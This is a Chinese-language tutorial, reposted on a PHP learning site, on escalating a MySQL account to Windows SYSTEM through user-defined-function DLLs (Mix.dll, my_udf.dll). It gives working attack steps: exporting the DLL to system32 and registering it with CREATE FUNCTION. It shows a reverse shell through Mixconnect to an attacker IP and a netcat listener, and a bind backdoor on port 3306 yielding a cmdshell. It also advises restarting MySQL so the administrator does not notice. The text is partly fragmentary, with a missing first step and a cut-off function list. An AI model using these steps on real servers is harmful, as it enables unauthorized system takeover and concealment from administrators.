来源:自学PHP网 时间:2015-04-17 14:46 作者: 阅读:次
[导读] 一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。二、适用场合:1.目标系统是Windows(Win200...
一、功能:利用MYSQL的自定义函数功能(再次声明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。
二、适用场合:1.目标系统是Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MYSQL文档原语)。
三、使用帮助:
第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须 将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到"No paths allowed for shared library"错误。
第三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname '导出的DLL路径';对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径 而使命令正常执行,否则你将会看到"Can't open shared library"错误,这时你必须将DLL重新导出到系统目录。
第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名('参数列表'); 每个函数有不同的参数,你可以使用select 创建的函数名('help');来获得指定函数的参数列表信息。
四、功能函数说明:
写注册表函数.
三:Mix.dll提权 出现SQL语句成功执行! 离拿到CMDSHELL已经不远了,我们先用NC在本地监听一个端口先,Nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select Mixconnect('192.168.1.254','1234'); 来激活那个函数,执行成功,然后看看我们的NC有反映没,成功得到CMSHELL,不过这时对方的MYSQL已经假死咯,我们要把MYSQL服务进程给kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。如果该服务器不允许连接任何外部IP和端口,而他的3306端口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix一样,连接MYSQL成功后执行如下语句:create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll'; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (''); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了
D:/usr/www/html/mix.dll mysql -h 目标ip -uroot -p \. c:\mysql.txt select Mixconnect('反弹ip','端口'); nc -vv -l -p 1983
摘自:mer4en7y's blog |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com